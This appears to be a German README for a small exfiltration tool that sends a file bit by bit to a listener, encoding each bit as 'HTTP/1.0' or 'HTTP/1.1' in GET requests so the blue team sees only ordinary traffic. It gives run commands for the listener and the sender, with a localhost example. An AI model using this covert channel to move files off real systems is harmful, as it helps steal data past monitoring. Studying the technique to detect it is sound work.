
Exfiltrieren von Dateien mithilfe der HTTP-Protokollversion ("HTTP/1.0" ist eine 0 und "HTTP/1.1" ist eine 1)
Verwende die HTTP-Protokollversion, um eine Datei Bit für Bit zu senden ("HTTP/1.0" steht für eine 0 und "HTTP/1.1" für eine 1). Es verwendet GET-Anfragen, sodass das Blue Team nur die Anfragen an deine IP-Adresse sehen würde. Allerdings dauert es lange, größere Dateien zu senden; zum Beispiel braucht es 1 Stunde, um 200 KB zu senden, und die Anzahl der Anfragen wäre sehr hoch (das 8‑Fache der Anzahl der Bytes der Datei).

Um den Listener auszuführen, verwende listener.py mit einem optionalen Argument: dem Port, auf dem er lauscht.
python3 listener.py [PORT]
Beispiel:
python3 listener.py 8080
Um eine Datei zu senden, verwende sender.py mit zwei obligatorischen Argumenten: dem Dateipfad und der URL des Listeners; sowie einem optionalen Argument: dem Namen der remote erstellten Datei (wenn nicht angegeben, wird der Name der Eingabedatei verwendet).
python3 sender.py -u URL -i INPUTFILE [-o OUTPUTFILE]
Beispiel:
python3 sender.py -u "http://127.0.0.1:8080" -i test.txt -o updated_test.txt
Zuerst wird die Datei gesendet:

Wenn die Variable debug auf True gesetzt ist (standardmäßig ist sie das), kannst du die Binärwerte in den Logmeldungen des Listeners sehen:

Die neue Datei wird mit dem Inhalt der Eingabedatei erstellt:

Ich glaube (ich bin mir nicht sicher), ich habe auf Twitter jemanden gelesen, der behauptete, dies zur Exfiltration von Daten verwendet zu haben, und die Idee gefiel mir. Falls du diese Person bist, lass es mich wissen.